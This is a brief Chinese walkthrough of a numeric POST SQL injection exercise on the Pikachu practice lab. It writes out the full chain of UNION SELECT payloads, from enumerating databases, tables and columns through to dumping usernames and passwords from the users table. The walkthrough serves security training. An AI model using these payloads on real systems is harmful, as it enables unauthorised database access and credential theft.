数字型注入(post)
打开靶场，发现数字列表查询，点击查询发现POST请求和id、submit参数
bp抓包，根据题目数字注入提示，尝试用1+1方式查询，+编码为%2B
id=1%2B1&submit=%E6%9F%A5%E8%AF%A2
成功回显
order by查询字段数，在为3的时候回显异常，判断字段数为2
查库，查出数据库为pikachu
id=1 union select 1,database()&submit=%E6%9F%A5%E8%AF%A2
爆库，确定pikachu为目标数据库
id=1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata&submit=%E6%9F%A5%E8%AF%A2
爆表，查询出全部数据表
id=1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"&submit=%E6%9F%A5%E8%AF%A2
爆users字段
id=1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name="users"&submit=%E6%9F%A5%E8%AF%A2
爆字段
id=1 UNION SELECT 1,concat(id,'--',username,'--',password,'--',level) from users&submit=%E6%9F%A5%E8%AF%A2
成功拿下全部用户信息
